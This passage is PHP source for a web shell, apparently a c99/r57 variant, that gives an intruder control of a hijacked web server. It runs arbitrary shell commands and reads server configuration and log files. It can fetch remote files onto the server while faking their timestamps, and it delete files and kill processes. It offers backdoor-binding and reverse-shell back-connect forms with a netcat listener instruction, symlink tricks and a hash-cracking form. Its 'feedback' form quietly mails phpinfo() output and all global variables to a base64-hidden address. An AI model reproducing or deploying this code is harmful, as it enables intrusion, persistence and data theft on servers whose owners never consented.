if (file_get_contents("/var/cpanel/accounting.log")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u>View cpanel logs</u></a></font><br>";}
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u>Apache configuration (httpd.conf)</u></a></font><br>";}
if (file_get_contents("/etc/httpd.conf")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u>Apache configuration (httpd.conf)</u></a></font><br>";}
if (file_get_contents("/etc/syslog.conf")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u>Syslog configuration (syslog.conf)</u></a></font><br>";}
if (file_get_contents("/etc/motd")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u>Message Of The Day</u></a></font><br>";}
if (file_get_contents("/etc/hosts")) {echo "<font color=green><a href=\"".$surl."xtux=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u>Hosts</u></a></font><br>";}
function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."<br>";}}
displaysecinfo("OS Version?",o2xdaexec("cat /proc/version"));
displaysecinfo("Kernel version?",o2xdaexec("sysctl -a | grep version"));
displaysecinfo("Distrib name",o2xdaexec("cat /etc/issue.net"));
displaysecinfo("Distrib name (2)",o2xdaexec("cat /etc/*-realise"));
displaysecinfo("CPU?",o2xdaexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",o2xdaexec("free -m"));
displaysecinfo("HDD space",o2xdaexec("df -h"));
displaysecinfo("List of Attributes",o2xdaexec("lsattr -a"));
displaysecinfo("Mount options ",o2xdaexec("cat /etc/fstab"));
displaysecinfo("Is cURL installed?",o2xdaexec("which curl"));
displaysecinfo("Is lynx installed?",o2xdaexec("which lynx"));
displaysecinfo("Is links installed?",o2xdaexec("which links"));
displaysecinfo("Is fetch installed?",o2xdaexec("which fetch"));
displaysecinfo("Is GET installed?",o2xdaexec("which GET"));
displaysecinfo("Is perl installed?",o2xdaexec("which perl"));
displaysecinfo("Where is apache",o2xdaexec("whereis apache"));
displaysecinfo("Where is perl?",o2xdaexec("whereis perl"));
displaysecinfo("locate proftpd.conf",o2xdaexec("locate proftpd.conf"));
displaysecinfo("locate httpd.conf",o2xdaexec("locate httpd.conf"));
displaysecinfo("locate my.conf",o2xdaexec("locate my.conf"));
displaysecinfo("locate psybnc.conf",o2xdaexec("locate psybnc.conf"));
}
if ($xtux == "mkfile")
{
if ($mkfile != $d)
{
if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";}
elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";
} else {
$xtux = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
} else {
$xtux = $dspact = "ls";}
}
if ($xtux == "encoder")
{
echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center>Encoding Tools</center>
<form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=xtux value=encoder>Input: <center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=2>".@htmlspecialchars($encoder_input)."</textarea></center><br><br><center><input type=submit value=\"calculate\"></center><br><br>Hashes:<br><center>";
foreach(array("md5","crypt","sha1","crc32") as $v)
{
echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
}
echo "</center>Url:<center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
<br></center>Base64:<center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
echo "<center>base64_decode - ";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";
} else {
$debase64 = base64_decode($encoder_input);
$debase64 = str_replace("","[0]",$debase64);
$a = explode("
",$debase64);
$rows = count($a);
$debase64 = htmlspecialchars($debase64);
if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";
} else {
$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">^</a>";
}
echo "</center><br>Base convertations:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++)
{
$hex = dechex(ord($encoder_input[$i]));
if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
}
echo "\" readonly><br></center></form>";
}
if ($xtux == "fsbuff")
{
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "<center>Buffer is empty!</center>";
} else {
echo "File-System buffer<br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $xtux = "ls";}
}
if ($xtux == "selfremove")
{
if (($submit == $rndcode) and ($submit != ""))
{
if (unlink(__FILE__)) {@ob_clean(); echo "See u!"; TuXexit();
} else {
echo "<center>Can't delete ".__FILE__."!</center>";}
} else {
if (!empty($rndcode)) {echo "Error: incorrect confimation!";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "<form action=\"".$surl."\"><input type=hidden name=xtux value=selfremove>Destroy: ".__FILE__." <br>Are you sure?<br>For confirmation, enter \"".$rnd."\": <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
}
}
if ($xtux == "feedback")
{
$suppmail = base64_decode("ZHJpZTg4QGN5YmVyc2VydmljZXMuY29t");
if (!empty($submit))
{
$ticket = substr(md5(microtime()+rand(1,1000)),0,6);
$body = "feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."
IP: ".$REMOTE_ADDR;
if (!empty($fdbk_ref))
{
$tmp = @ob_get_contents();
ob_clean();
phpinfo();
$phpinfo = base64_encode(ob_get_contents());
ob_clean();
echo $tmp;
$body .= "
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
";
}
mail($suppmail,"feedback #".$ticket,$body,"FROM: ".$suppmail);
echo "<center><b>Your ticket ID: ".$ticket.".</b></center>";
} else {
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=xtux value=feedback>Contact Us (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Indonesian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
}
if ($xtux == "upload") {
$uploadmess = "";
$uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;
}
elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";
}
if (!empty($submit)) {
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"])) {
if (empty($uploadfilename)) {$destin = $uploadfile["name"];
} else {
$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>"; }
}
elseif (!empty($uploadurl))
{
if (!empty($uploadfilename)) {$destin = $uploadfilename;
} else {
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin))
{
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!<br>";
} else {
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!<br>";
} else {
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";
} else {
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
}
}
}
}
}
if ($miniform)
{
echo "".$uploadmess."";
$xtux = "ls";
} else {
echo "File upload:<br>".$uploadmess."<form enctype=\"multipart/form-data\" action=\"".$surl."xtux=upload&d=".urlencode($d)."\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or <br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload\">
</form>";
}
}
if ($xtux == "delete")
{
$delerr = "";
foreach ($xtuxbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Gabisa ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "Rusak :<br>".$delerr;}
$xtux = "ls";
}
if (!$usefsbuff)
{
if (($xtux == "paste") or ($xtux == "copy") or ($xtux == "cut") or ($xtux == "unselect")) {
echo "<center>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
} else {
if ($xtux == "copy") {
$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$xtuxbox); c99_sess_put($sess_data); $xtux = "ls";
}
elseif ($xtux == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$xtuxbox); c99_sess_put($sess_data); $xtux = "ls";
}
elseif ($xtux == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {
if (in_array($v,$xtuxbox)) {unset($sess_data["copy"][$k]);
}
}
foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$xtuxbox)) {
unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $xtux = "ls";
}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Gabisa ".$v." to ".$to."!<br>"; }
if ($copy_unset) {unset($sess_data["copy"][$k]); }
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Gabisa ".$v." to ".$to."!<br>"; }
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "Rusak :<br>".$psterr;}
$xtux = "ls";
}
elseif ($actpastebuff)
{
$arcerr = "";
if (substr($actpastebuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";
} else { $ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actpastebuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v)
{
$v = str_replace("\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = o2xdaexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Gabisa (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("
","
",$ret);
$ret = explode("
",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($arcerr)) {echo "File Double :<br>".$arcerr;}
$xtux = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Gabisa ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Gabisa ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "Error :<br>".$psterr;}
$xtux = "ls";
}
}
if ($xtux == "cmd")
{
if (trim($cmd) == "ps -aux") {$xtux = "processes";}
elseif (trim($cmd) == "tasklist") {$xtux = "processes";
} else {
@chdir($chdir);
if (!empty($submit))
{
echo "Hasil:<br>";
$olddir = realpath(".");
@chdir($d);
$ret = o2xdaexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt)
{
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10;
}
echo "<br><textarea cols=\"180\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
} else {
echo $ret."<br>";}
@chdir($olddir);
} else {
echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=xtux value=cmd><textarea name=cmd cols=180 rows=1>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"". $dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($xtux == "ls")
{
if (count($ls_arr) > 0) {$list = $ls_arr;
} else {
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
} else {
}
}
if (count($list) == 0) {echo "<center>Ga bisa buka folder (".htmlspecialchars($d).")!</center>";
} else {
//Building array
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f") {
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = "LINK";
} else {
$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win) {
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "Name";
$row[] = "Size";
$row[] = "Modify";
if (!$win) {
$row[] = "Owner/Group";}
$row[] = "Perms";
$row[] = "Action";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= "<img src=\"".$surl."xtux=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++)
{
if ($i != $k) {$row[$i] = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Konfigurasi error \$regxp_highlight[".$k."][0] - unknown command."; TuXexit();
} else {
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = ""; $r[3] = "";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = "<font face=wingdings size=-1>Dir</font> <a href=\"".$surl."xtux=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = "<font face=wingdings size=-1>Dir</font> <a href=\"".$surl."xtux=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<font face=wingdings size=-1>Dir</font> <a href=\"".$surl."xtux=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
} else {
$type = "DIR";
$row[] = "<font face=wingdings size=-1>Dir</font> <a href=\"".$surl."xtux=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "<font face=wingdings size=-2>File</font> <a href=\"".$surl."xtux=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"".$surl."xtux=chmod&f=".$uo."&d=".$ud."\">".view_perms_color($v)."</a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"xtuxbox[]\" onclick=\"ls_reverse_all();\">"; $i--;
}else {
$checkbox = "<input type=\"checkbox\" name=\"xtuxbox[]\" id=\"xtuxbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."xtux=d&d=".$uv."\">Info</a> ".$checkbox;
} else {
$row[] = "<a href=\"".$surl."xtux=f&f=".$uo."&ft=info&d=".$ud."\">Info</a> ≈
<a href=\"".$surl."xtux=f&f=".$uo."&ft=edit&d=".$ud."\">Edit</a> ≈
<a href=\"".$surl."xtux=f&f=".$uo."&ft=download&d=".$ud."\">Download</a> ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<center>Daftar (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)</center><br>
<TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=transparent borderColorLight=#990000 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=xtux value=".$dspact."><input type=hidden name=d value=".$d.">";
foreach($table as $row)
{
echo "<tr>
";
foreach($row as $v) {echo "<td>".$v."</td>
";}
echo "</tr>
";
}
echo "</table><hr size=\"1\" noshade><p align=\"right\">
<script>
function ls_setcheckboxall(status)
{
var id = 1;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('xtuxbox'+id).checked = status;
id++;
}
}
function ls_reverse_all()
{
var id = 1;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('xtuxbox'+id).checked = !document.getElementById('xtuxbox'+id).checked;
id++;
}
}
</script>
<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
<b>≈ ";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo "<input type=submit name=\"actpastebuff\" value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\">";
}
echo "<select name=xtux><option value=\"".$act."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff)
{
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select> <input type=submit value=\"Confirm\"></p>";
echo "</form>";
}
}
if ($xtux == "tools")
{
?>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=5 height="116" width="100%" bgcolor=transparent borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"><p align="center">:: <a href="<?php echo $surl; ?>xtux=tools">r57 Bind</a> ::</p></td></tr>
<tr><td width="50%" height="83" valign="top"><center><div align="center"></div><form action="<?php echo $surl; ?>">Bind With Backd00r Burner<br/>
<form action="<?php echo $surl;?>">
<input type=hidden name=xtux value=tools>
<select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option>
<option value="lynxcan">Use lynx -dump</option>
<option value="freadcan">Use Fread</option></select><br/><br/>
<input type="submit" value="Burn it bAby"></form>
</td>
<td width="50%" height="83" valign="top"><center>Back Connection<br/><form action="<?php echo $surl;?>"> Ip (default is your ip) :<br/>
<input type=hidden name=xtux value=tools>
<input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"><br/>Port:<br/>
<input type="text" name="pipi" value="4392"><br/>
<input type="submit" value="C0nnect ->"></form><br/>
Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p <?php echo $bc_port; ?>"!<br><br></center></td></tr></TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=5 height="116" width="100%" bgcolor=transparent borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"><p align="center">:: <a href="<?php echo $surl; ?>xtux=tools">Mass MD5 Online Cracker & Symlink</a> ::</p></td></tr>
<tr><td width="50%" height="83" valign="top"><center><div align="center">MASS MD5 Online Cracker
<form method="POST" action="http://www.hashchecker.de/hash.cgi">
<input type="hidden" name="action" value="check">
<textarea type="text" name="hash" cols="60" rows="12"></textarea></br>
<input type="submit" value="Suchen" onclick="this.form.target='_blank';return true;"></form></div></td>
<td width="50%" height="83" valign="top"><center>
<form method=post action="<?php echo $surl; ?>">
<p align="center">SymLink With PHP<br><input name=ad1syp size=50> TO <input value="<?php echo $real."/symlink.txt" ?>" name=ad2syp size=50><br>
<input type=submit value=SymLink!></form><br /><br /><br />
<form method=post action=action="<?php echo $surl; ?>">
<p align="center">SymLink With OS <br><input name=ad1syc size=50> TO <input value="<?php echo $real."/symlink.txt" ?>" name=ad2syc size=50><br>
<input type=submit value=SymLink!></p></form><br /><br /><br /></center></td></tr></TABLE>
<?php
}
if ($xtux == "processes")
{
echo "Processes:<br>";
if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); } else {
$handler = "tasklist";}
$ret = o2xdaexec($handler);
if (!$ret) {echo "Can't execute \"".$handler."\"!"; } else {
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {
$y = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."xtux=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>"; } else {
$y = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."xtux=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; }
$ret = htmlspecialchars($ret);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) { echo "OK."; } else {
echo "ERROR."; }
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("
",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\">".$head[$i]."</a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"".$surl."xtux=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
} else {
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("
",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode("",$stack[0]);
$head[1] = explode(" ",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."xtux=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
else {$y = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."xtux=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"".$surl."xtux=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\">".trim($head[$i])."</a>";}
}
$prcs = array();
